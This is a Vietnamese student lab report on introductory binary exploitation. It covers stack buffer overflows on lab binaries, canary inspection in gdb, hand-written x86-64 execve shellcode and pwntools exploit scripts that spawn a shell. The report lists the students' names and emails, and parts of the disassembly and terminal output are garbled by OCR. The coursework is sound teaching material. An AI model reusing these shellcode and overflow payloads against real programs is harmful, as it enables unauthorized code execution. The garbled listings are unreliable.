

BÁO CÁO THỰC HÀNH

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm Tên chủ đề: Nhập môn Pwnable

GVHD: Nguyễn Hữu Quyền

Nhóm: 09

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT521.011.ANTT.1

STT	Họ và tên	MSSV	Email
1	Nguyễn Thị Hồng Lam	20521518	20521518@gm.uit.edu.vn
2	Nguyễn Triệu Thiên Bảo	21520155	21520155@gm.uit.edu.vn
3	Trần Lê Minh Ngọc	21521195	21521195@gm.uit.edu.vn
4	Huỳnh Minh Khuê	21522240	21522240@gm.uit.edu.vn

2. NÔI DUNG THỰC HIỆN:1

STT	Nội dung	Tình trạng
1	Yêu cầu 1	100%
2	Yêu cầu 2	100%
3	Yêu cầu 3	100%
4	Yêu cầu 4	100%
5	Yêu cầu 5	100%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

-

 $^{^{\}rm 1}$ Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

C.1. Khai thác lỗ hổng buffer overflow cơ bản

C.1.1. Khai thác lỗ hổng buffer overflow khi không sử dụng canary

Yêu cầu 1. Sinh viên khai thác lỗ hổng buffer overflow của chương trình app1-no-canary, nhằm khiến chương trình gọi hàm get_shell() để mở shell tương tác.

Như vậy khoảng cách giữa 2 thành phần này là bao nhiều? Input cần dài bao nhiều để ghi đè được lên ret-addr?

```
0804875b <check>:
 804875b:
                 55
                                                 %ebp
                                          push
                                                 %esp,%ebp
 804875c:
                89 e5
                                          MOV
 804875e:
                83 ec 18
                                                 $0x18,%esp
                                          sub
                83 ec 08
                                                 $0x8,%esp
 8048761:
                                          sub
                8d 45 e8
                                                  -0x18(%ebp),%eax
 8048764:
                                          lea
 8048767:
                50
                                          push
                                                 %eax
                68 ba 8a 04 08
 8048768:
                                          push
                                                 $0x8048aba
 804876d:
                e8 2e fe ff ff
                                          call
                                                 80485a0 < isoc99 scanf@plt>
```

Từ hàm check ta thấy rằng %ebp -0x18 là địa chỉ lưu chuỗi đầu vào. Và địa chỉ trả về của 1 hàm luôn được lưu ở %ebp +4

Vậy khoảng cách giữa 2 thành phần này là 32 byte và input cần dài 32 kí tự để ghi đè được lên ret-addr. Với 28 byte đầu là kí tự bất kì và 4 byte cuối là địa chỉ của hàm get_shell

Tiếp theo ta tìm địa chỉ của hàm get_shell

```
bao-nguyen@bao-nguyen-vm:~/LTAT/Lab3/Lab3-resource$ objdump -d app1-no-canary | grep get_shell
0804872b <get_shell>:
```

Ta cần ghi đè địa chỉ trên vào ret-addr. Dựa vào các thông tin và ý tưởng ở trên, ta viết được chương trình exploit như sau:

```
from pwn import *
get_shell = "\x2b\x87\x04\x08" # Các byte địa chỉ get_shell dạng Little Endian
payload = "a"*28 + get_shell
# Input sẽ nhập, X là độ dài đủ để buffer overflow và 4 byte get_shell nằm ở vị trí ret-addr
print(payload)
# In payload
exploit = process("./app1-no-canary")
# Chạy chương trình app-no-canary
print(exploit.recv())
exploit.sendline(payload)
# gửi payload đến chương trình
exploit.interactive()
# Dừng tương tác với chương trình khi có shell thành công
```

m

Lab 03: Integrating Security and Automation Nhóm 09

Chạy file exploit và ta được kết quả khai thác thành công:

C.1.2. Cơ chế ngăn lỗ hổng buffer overflow với canary

Yêu cầu 2. Sinh viên thực hiện theo hướng dẫn để quan sát khác biệt về code và giá trị stack canary được thêm để bảo vệ stack khỏi tấn công buffer overflow.

So sánh khác biệt trong code của 2 phiên bản, sinh viên thử xác định vị trí các đoạn code sau trong code assembly:

- Thêm giá trị canary vào stack, dự đoán vị trí của canary trong stack?
- Kiểm tra giá trị canary trước khi kết thúc hàm.

```
0x0804852b <+0>:
0x0804852c <+1>:
0x0804852e <+3>:
0x0804852f <+4>:
0x08048532 <+7>:
0x08048537 <+12>:
0x08048539 <+14>:
0x0804853e <+19>:
0x0804853f <+20>:
0x08048540 <+21>:
0x08048545 <+26>:
0x08048548 <+29>:
0x0804854d <+34>:
0x08048552 <+39>:
0x08048555 <+42>:
0x0804855a <+47>:
0x0804855f <+52>:
                                     x,[ebp-0x14]
0x08048562 <+55>:
0x08048565 <+58>:
0x08048566 <+59>:
0x0804856b <+64>:
0x08048570 <+69>:
0x08048573 <+72>:
0x08048578 <+77>:
0x0804857b <+80>:
                                      (,[ebp-0x14]
0x0804857c <+81>:
0x08048581 <+86>:
0x08048584 <+89>:
0x08048586 <+91>: jne 0x8048597 <main+108>
0x08048588 <+93>: push 0x804864e
0x0804858d <+98>: call 0x80483e0 <puts@plt>
0x08048592 <+103>: add esp,0x4
0x08048595 <+106>: jmp 0x80485a4 <main+121>
0x08048597 <+108>:
0x0804859c <+113>:
0x080485a1 <+118>:
                                  eax,0x0
ebx,DWORD PTR [ebp-0x4]
0x080485a4 <+121>:
0x080485a9 <+126>:
0x080485ac <+129>:
0x080485ad <+130>:
```

Kết quả phân tích file app2-no-canary

```
TR [ebp<u>+</u>0xc]
ebp-0x1c],eax
0x08048582 <+7>:
0x08048585 <+10>:
0x08048588 <+13>:
                                        [ebp-0x8],eax
0x0804858e <+19>:
0x08048591 <+22>:
0x08048593 <+24>:
                     call
                             0x8048420 <geteuid@plt>
0x08048598 <+29>:
                             0x8048420 <qeteuid@plt>
0x0804859a <+31>:
0x0804859f <+36>:
0x080485a0 <+37>:
0x080485a1 <+38>:
                             0x8048440 <setreuid@plt>
0x080485a6 <+43>:
0x080485a9 <+46>:
0x080485ae <+51>:
                             0x8048430 <puts@plt>
0x080485b3 <+56>:
0x080485b6 <+59>:
0x080485bb <+64>:
                             0x8048400 <printf@plt>
0x080485c0 <+69>:
                                (,[ebp-0x18]
0x080485c3 <+72>:
0x080485c6 <+75>:
0x080485c7 <+76>:
0x080485cc <+81>:
0x080485d1 <+86>:
0x080485d4 <+89>:
                             eax,[ebp-0x18]
0x080485d9 <+94>:
0x080485dc <+97>:
                             0x80483f0 <strcmp@plt>
0x080485dd <+98>:
0x080485e2 <+103>:
0x080485e5 <+106>:
                             eax,eax
0x80485f8 <main+125>
0x080485e7 <+108>:
0x080485e9 <+110>:
                             0x8048430 <puts@plt>
0x080485ee <+115>:
0x080485f3 <+120>:
0x080485f6 <+123>:
0x080485f8 <+125>:
0x080485fd <+130>:
0x08048602 <+135>:
                             eax.0x0
0x08048605 <+138>:
0x0804860a <+143>:
                                            [ebp-0x8]
gs:0x14
0x0804860d <+146>:
0x08048614 <+153>:
0x08048616 <+155>:
                     call
0x0804861b <+160>:
```

Kết quả phân tích file app2-canary

Ở bản canary ta nhận xét thấy có them vài dòng lệnh.

Trong đoạn highlight đầu tiên, bắt đầu từ địa chỉ 0x08048588, giá trị từ gs:0x14 được truyền vào stack. Và kết quả được lưu ở %ebp – 0x8. Vậy địa chỉ %ebp – 0x8 sẽ chứa giá trị canary

Trong đoạn highlight tiếp theo, ta thấy giá trị tại %ebp -0x8 được lấy ra và kiểm tra (bằng phép XOR) với giá trị tại gs:0x14. Nếu không bằng nhau thì chương trình sẽ báo lỗi. Đây chính là đoạn chương trình để kiếm tra giá trị canary

Sinh viên debug file app2-canary với gdb để xem giá trị stack canary là bao nhiêu?

Cách 1: Xem giá trị tại vị trí cụ thể của canary

Ta đã xác định được giá trị canary được lưu ở %ebp - 0x8. Cho chương trình chạy qua đoạn code them giá trị canary và kiểm tra bằng gdb-pada:

```
gdb-peda$ x/wx $ebp - 0x8
0xffffd0e0: 0x26505200
```

Cách 2: Xem giá trị dựa trên hàm kiểm tra canary

Ta sẽ dùng đoạn code kiểm tra để xem giá trị canary

```
0x0804860a <+143>: mov edx,DWORD PTR [ebp-0x8]
0x0804860d <+146>: xor edx,DWORD PTR gs:0x14
0x08048614 <+153>: je 0x804861b <main+160>
0x08048616 <+155>: call 0x8048410 <_stack_chk_fail@plt>
0x0804861b <+160>: mov ebx,DWORD PTR [ebp-0x4]
```

Đặt breakpoint trước hàm stack_chk_fail

```
gdb-peda$ b* 0x0804860a
Breakpoint 2 at 0x804860a
```

```
EAX: 0x0
EBX: 0x3e8
ECX: 0xf7e279b4 --> 0x0
EDX: 0x26505200 ('')
ESI: 0xfffffd1a4 --> 0xfffffd360 ("/home/bao-nguyen/LTAT/Lab3/Lab3-resource/app2-canary")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd0e8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
                    --> 0xffffd1a4 --> 0xffffd360 ("/home/bao-nguyen/LTAT/Lab3/Lab3-resource/app2-canary") (<main+146>: xor edx,DWORD PTR gs:0x14)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
    0x8048602 <main+135>:
                                       add esp,0x4
mov eax,0x0
mov edx,DWORD PTR [ebp-0x8
xor edx,DWORD PTR gs:0x14
    0x804860a <main+143>:
                                                  edx,DWORD PTR [ebp-0x8]
   0x804860d <main+146>:
                                        je 0x804861b <main+160>
call 0x8048410 <__stack_chk_fail@plt>
    0x8048614 <main+153>:
    0x8048616 <main+155>:
   0x804861b <main+160>:
0x804861e <main+163>:
                                                  ebx,DWORD PTR [ebp-0x4]
                                         mov
                                         leave
0000| 0xffffd0cc --> 0xffffd1a4 --> 0xffffd360 ("/home/bao-nguyen/LTAT/Lab3/Lab3-resource/app2-canary")
0004| 0xffffd0d0 ("AAAAA")
0008| 0xffffd0d4 --> 0x41 ('A')
0012| 0xffffd0d8 --> 0xf7e26000 --> 0x225dac

0016| 0xffffd0dc --> 0xf7d1ea8b (add esp,0020| 0xffffd0e0 --> 0x26505200 ('')
                                                    esp,0x10)
       0xffffd0e4 --> 0xf7e26000 --> 0x225dac
0028 | 0xffffd0e8 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
     end: code, data, rodata, value
304860d_in main ()
Legend: co
```

Ta có thể thấy giá trị canary được lưu vào %edx và giá trị đó là 0x26505200

Sinh viên thử debug lại app2-canary để xác định giá trị canary? Giá trị này thay đổi ra sao ở mỗi lần debug?

```
gdb-peda$ x/wx $ebp - 0x8
0xffffd0e0: 0x26505200
gdb-peda$ x/wx $ebp - 0x8
0xffffd0e0: 0xe8323400
```


Ta có thể thấy giá trị canary ở mỗi lần debug là khác nhau và hoàn toàn ngẫu nhiên

C.2. Khai thác buffer overflow để truyền shellcode

C.2.1. Ví dụ khai thác buffer overflow để truyền code thực thi đơn giản

Yêu cầu 3. Sinh viên thực hiện truyền và thực thi code có chức năng thoát chương trình qua lỗ hổng buffer overflow như bên dưới với file app1-no-canary.

Đầu tiên ta cần xác định địa chỉ chuỗi đầu vào. Ta sẽ dùng gdb-peda debug tới vị trí nhập chuỗi

```
| O000| 0x55683960 ("|9hU") | O004| 0x55683964 --> 0x0 | O008| 0x55683966 ("AAAA") | O012| 0x5568396c --> 0xf7ffda00 --> 0x0 | O016| 0x55683970 --> 0xf7c57529 (<printf+9>: add eax,0x1cead7) | O020| 0x55683974 --> 0x8048831 (<main_func+127>: add esp,0x10) | O024| 0x55683978 --> 0x8048aef ("Password:") | O028| 0x5568397c --> 0xf4 | O028| 0x5568397c --> 0xf76767c | O028| 0x5568397c | O028| 0
```

Ta thấy 0x55683968 đang lưu giá trị chuỗi đầu vào "AAAA". Đây là địa chỉ ta cần tìm Tiếp theo ta sẽ tạo mã thực thi theo hướng dẫn trong bài thực hành.

```
movl $1, %eax int 0x80
```

Với phân tích từ yêu cầu 1, ta biết cần 32 byte để ghi đè ret-addr. Ret-addr ở yêu cầu này cần phải trỏ tới vị trí lưu đoạn mã thực thi ở trên.

Vậy ta cần xếp chuỗi đầu vào theo thứ tự: đoạn mã thực thi ở đầu chuỗi (để dễ tính toán), các byte padding, ret-addr trỏ về địa chỉ chuỗi đầu vào

Từ các thông tin và ý tưởng trên, ta viết được chương trình exploit như sau:

00

Lab 03: Integrating Security and Automation Nhóm 09

```
1 from pwn import *
2 ret_add = "\x68\x39\x68\x55"
3 exit_comm = "\xb8\x01\x00\x00\x00\xcd\x80"
4 payload = exit_comm + "a"*21 + ret_add
5 # Input sẽ nhập, X là độ dài đủ để buffer overflow và 4 byte get_shell nằm ở vị trí ret-addr 6 print(payload)
7 # In payload
8 exploit = process("./app1-no-canary")
9 # Chạy chương trình app-no-canary
10 print(exploit.recv())
11 exploit.sendline(payload)
12 # gửi payload đến chương trình
13 exploit.interactive()
14 # Dừng tương tác với chương trình khi có shell thành công
```

Chạy file exploit và ta được kết quả khai thác thành công:

C.2.2. Viết shellcode

Yêu cầu 4. Sinh viên thực hiện viết shellcode theo hướng dẫn bên dưới.

Bước 1. Viết mã assembly

Bước 2. Biên dịch file assembly đã code

```
bao-nguyengbao-nguyen-vn:-/LTAT/Lab3/Lab3-resource$ nasm -f elf64 shellcode_nhon9.asm -o shellcode_nhon9.o
bao-nguyengbao-nguyen-vn:-/LTAT/Lab3/Lab3-resource$ (d shellcode_nhon9.o -o shellcode_nhon9
bao-nguyengbao-nguyen-vn:-/LTAT/Lab3/Lab3-resource$ ./shellcode_nhon9
$ ls
applexplott-exit.py appl-no-canary app2-no-canary demo-exploit.py exit_program.asm peda-session-app1-no-canary.txt peda-session-demo.txt shellcode_nhon9.asm test_shell
app1-exploit.py app2-canary demo exit_program exit_program.s peda-session-app2-canary.txt shellcode_nhon9 shellcode_nhon9.o test_shell
$ lap1-exploit.py app2-canary demo exit_program exit_program.s peda-session-app2-canary.txt shellcode_nhon9.o test_shell.c
```

Bước 3. Tao shellcode

Ta được chuỗi byte code:

 $\x 50\x 48\x 31\x 6\x 48\x 6\x 2f\x 62\x 69\x 6e\x 2f\x 73\x 68\x 53\x 54\x 5f\x b0\x 3b\x 0f\x 05$

```
bao-nguyen@bao-nguyen-vm:~/LTAT/Lab3/Lab3-resource$ objdump -d shellcode_nhom9
shellcode nhom9:
                     file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
                50
  401000:
                                          push
                                                 %гах
  401001:
                48 31 d2
                                          хог
                                                 %rdx,%rdx
  401004:
                48 31 f6
                                                 %rsi,%rsi
                                          хог
  401007:
                48 bb 2f 62 69 6e 2f
                                          movabs $0x68732f2f6e69622f,%rbx
  40100e:
                2f 73 68
  401011:
                53
                                                 %гьх
                                          push
  401012:
                54
                                          push
                                                 %гѕр
  401013:
                5f
                                                 %rdi
                                          pop
                                                 $0x3b,%al
  401014:
                b0 3b
                                          MOV
  401016:
                0f 05
                                          syscall
```

Bước 4. Kiểm tra shellcode

Viết chương trình mở shell sử dụng đoạn code trên:

```
#include <stdio.h>
void main()
{
     unsigned char shellcode[] =
     "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
     int (*ret)() = (int(*)())shellcode;
     ret();
}
```

Biên dịch và chạy chương trình. Ta nhận được kết quả khai thác thành công

```
bao-nguyengbao-nguyen-vm:-/LTAT/Lab3/Lab3-resourc.$ gcc -z execstack -o test_shell test_shell.c
bao-nguyengbao-nguyen-vm:-/LTAT/Lab3/Lab3-resourc.$ ./test_shell
$ \text{S} \t
```

C.2.3. Bài tập khai thác buffer overflow để truyền và thực thi shellcode

Yêu cầu 5. Sinh viên thực hiện khai thác lỗ hổng buffer overflow của file demo để truyền và thực thi được đoạn shellcode đã viết. Báo cáo chi tiết các bước tấn công.

Chạy thử chương trình ta thấy in ra màn hình cùng một kết quả và thoát chương trình

```
bao-nguyen@bao-nguyen-vm:~/LTAT/Lab3/Lab3-resource$ ./demo
DEBUG: 0x7fffffffdf60
123
bao-nguyen@bao-nguyen-vm:~/LTAT/Lab3/Lab3-resource$ ./demo
DEBUG: 0x7fffffffdf60
456
bao-nguyen@bao-nguyen-vm:~/LTAT/Lab3/Lab3-resource$ ./demo
DEBUG: 0x7fffffffdf60
AAAAA
```

Xem xét đoạn code C được cung cấp trong bài thực hành


```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(void)
{
   char buffer[32];
   printf("DEBUG: %p\n", buffer);
   gets(buffer);
}
```

Ta thấy rằng chương trình sẽ in ra vị trí lưu chuỗi buffer => Kết quả giống nhau ta nhận được ở trên chính là địa chỉ lưu chuỗi buffer

Tiếp theo phân tích hàm main ta thấy vị trí chuỗi lưu là %rbp-0x20. Và địa chỉ trả về luôn được lưu ở địa chỉ %rbp + 8 (do file sử dụng kiến trúc 64 bit)

```
disassemble main
Dump of assembler code for function main:
   0x0000000000401132 <+0>:
   0x00000000000401133 <+1>:
   0x00000000000401136 <+4>:
                                           ,[rbp-0x20]
   0x000000000040113a <+8>:
   0x000000000040113e <+12>:
                                           ,[rip±0xebc]
   0x00000000000401141 <+15>:
                                                                # 0x402004
  0x0000000000401148 <+22>:
                                        0x401030 <printf@plt>
   0x000000000040114d <+27>:
=> 0x0000000000401152 <+32>:
                                           (,[rbp-0x
   0x00000000000401156 <+36>:
   0x0000000000401159 <+39>:
   0x000000000040115e <+44>:
   0x0000000000401163 <+49>:
   0x0000000000401168 <+54>:
   0x0000000000401169 <+55>:
End of assembler dump.
```

Vậy ta cần chuỗi exploit có độ dài là 0x20 + 0x8 + 0x8 = 0x30 = 48 byte với thứ tự như sau: chuỗi shellcode, các byte padding, địa chỉ của chuỗi buffer đầu vào để thực thi chuỗi shellcode

Sử dụng lại shell code từ yêu cầu 4 và từ các thông tin cùng ý tưởng trên, ta viết được chương trình exploit như sau:

```
from pwn import *
ret_add = p64@0x7fffffffdeb0)
get_shell_comm =
b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
payload = get_shell_comm + b'a'*16 + ret_add

print(payload)
exploit = process("./demo")
print(exploit.recv())
exploit.sendline(payload)
exploit.interactive()
```

Chạy file exploit ở trên và ta nhận được kết quả khai thác thành công:

11

Lab 03: Integrating Security and Automation Nhóm 09

```
bao-nguyen@bao-nguyen-vm:~/LTAT/Lab3/Lab3-resource$ python3 demo-exploit.py
b'PEBUG: 0x7ffffffdeb0\n'
[*] Switching to interactive mode $ ls
                                                  peda-session-demo.txt
app1-exploit-exit.py demo-exploit.py
app1-exploit.py
                     exit_program
                                               shellcode_nhom9
                                                shellcode_nhom9.asm
shellcode_nhom9.o
app1-no-canary
                       exit_program.asm
app2-canary
                    exit_program.s
app2-no-canary
                      peda-session-app1-no-canary.txt test_shell session-app2-canary.txt test_shell.c
demo
                 peda-session-app2-canary.txt
```